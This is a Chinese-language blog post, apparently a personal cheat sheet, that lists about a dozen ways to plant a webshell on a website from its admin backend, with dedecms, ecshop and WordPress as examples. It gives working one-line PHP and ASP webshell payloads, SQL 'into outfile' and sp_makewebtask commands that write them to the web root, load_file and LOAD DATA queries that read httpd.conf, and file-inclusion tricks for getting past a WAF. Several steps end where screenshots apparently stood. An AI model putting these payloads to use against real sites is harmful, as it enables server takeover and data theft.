網站後臺getshell的方法總結
網站後臺getshell的方法總結
方法一:直接上傳getshell
以dedecms為例,後臺可以直接上傳腳本文件,從而getshell,具體方法如下:
即可成功上傳大馬,並成功執行,從而拿下webshell。
坑:通常由於權限限制,導致只有該目錄權限,無法進入其他目錄,此時便可以采用../跳轉到根目錄,或者其他目錄,此時所采用的方法是如下的文件改名
方法二:數據庫備份getshell
以南方數據cms為例:
1,首先上傳一張圖片馬上去,並且獲取圖片馬的路徑
2,在系統管理處選擇數據庫備份,進行數據庫備份getshell,具體操作方法如下:
然後使用菜刀連接即可成功getshell。
當所備份的數據庫來源無法修改時,我們可以通過首先將一句話木馬寫入數據庫,比如通過新建管理員用戶,將用戶名用一句話木馬代替(用戶名通常有長度限制,在前端修改maxlength即可)
<%eval request ("pass")%>
然後再通過備份數據庫getshell。
方法三:修改網站上傳類型配置拿webshell
有的網站在網站上傳類型中限制了上傳腳本類型文件,我們可以去添加上傳文件類型,如添加asp|php|jsp|aspx|asa|cer等來拿webshell。
方法四:利用文件解析漏洞來拿webshell
記錄在了這篇博客上面:https://www.cnblogs.com/v01cano/p/10326366.html
方法五:網站配置插馬拿webshell:
註:asp中單引號表示單行註釋作用
“%><%eval request("v01cano")%><%‘
一般先試試看該選項是否可以更改,如果可以更改,則插馬試試,因為插馬可能導致系統崩潰,所以一般需要首先需要本地搭建環境進行測試。
方法六:通過編輯器模板拿webshell
1,通過對網站的模板進行編輯寫入一句話,然後生成腳本文件拿webshell。比如ecshop
2,通過將木馬添加到壓縮文件,把名字改為網站模板類型,上傳到網站服務器,拿webshell。
方法七:通過添加插件getshell
即利用網站管理員的添加插件功能getshell,將大馬添加到插件的壓縮包中,然後上傳,從而getshell。比如wordpress,dz等等。
方法八:執行sql語句寫入webshell
通過sql語句寫入shell,首先執行錯誤的sql語句,使其暴露出網站的根目錄:
select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";
關於此語句說明,在windows中有時候需要使用斜杠/有時候需要使用雙反斜杠\末尾有時候需要分號,有時候也不需要分號。
以ecshop為例:
也可以先將一句話通過新建管理員寫入到user表中,然後通過數據庫備份配合解析漏洞拿shell。
方法九:通過數據庫拿webshell
我們可以通過數據庫執行命令導出一句話到網站根目錄拿shell
access數據庫導出一般需要利用解析漏洞xx.asp;.xml
sqlserver導出:
exec sp_makewebtask ‘C:\test1.php‘,‘ select ‘‘<%eval request("pass")%>‘‘ ‘--
mysql命令導出getshell:
方法1
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES(‘<?php eval($_POST[xiaoma]);?>‘);
select xiaoma1 from xiaoma into outfile ‘D:/phpstudy/www/7.php‘;
Drop TABLE IF EXISTS xiaoma;
方法2
select "<?php eval($_POST[v01cano]);?>" into outfile ‘D:/phpstudy/www/a.php‘
方法3:方法1和方法2都是在網站根目錄路徑已知的時候寫入shell,當數據庫路徑未知時,可以通過如下方法讀取數據庫路徑:網站的根目錄一般在網站配置文件httpd.conf中,而此目錄的路徑一般不變,一般在/apache/conf/httpd.conf中,(在phpmyadmin中的時候,我們可以選擇變量選項觀察其路徑,進而推測httpd.conf的路徑),在已知該文件路徑的條件下,我們可以通過如下方法讀取該文件中的內容:
//創建表a,並且將httpd.conf寫入到表a中。
create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;
然後執行導出操作,將該文件下載,使用notepad++打開,最後搜索documentroot,即可找到網站的根目錄:
httpd.conf文件可能存在的一些路徑:
linux中可能存在路徑:
apache
/usr/local/mysql
/user/local/apache/conf/httpd.conf
/user/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/user/local/apache2/conf/httpd.conf
Nginx:
/user/local/nginx/conf/httpd.conf
方法四:直接通過load_file函數直接加載該文件內容
select load_file(‘C:/phpStudy/Apache/conf/httpd.conf‘);
但是需要在選項中進行如下配置才會顯示出來:
方法n:還有通過日誌拿shell的多種方式,已經記錄在博客:
https://www.cnblogs.com/v01cano/p/10292670.html
方法十:通過文件包含拿webshell
先將webshell改為txt文件上傳,然後上傳一個腳本文件包含該txt文件,可以繞過waf拿webshell。
常用的文件包含方法如下:
asp包含:
1,<!--#include file="123.jpg"-->
2,調用的文件必須和被調用的文件在同一目錄,否則找不到
3,如果不在同一目錄,用下面語句也可以:
<!--#include virtual="文件所在目錄/123.jpg"-->
php包含:
<?php
Include(‘123.jpg‘);
?>
方法十一:命令執行拿webshell
Echo ^<^?php @eval($_POST[v01cano]);?^>^ >c:\1.php
^<^%eval request("cracer")%^>^ >c:\1.php
十二:沒有進入後臺如下拿webshell
0day拿webshell
IIS寫權限拿webshell(put一個shell進去)
命令執行拿webshell
通過註入漏洞拿webshell
前臺圖片上傳拿webshell
Strusts2拿webshell
java反序列拿shell
網站後臺getshell的方法總結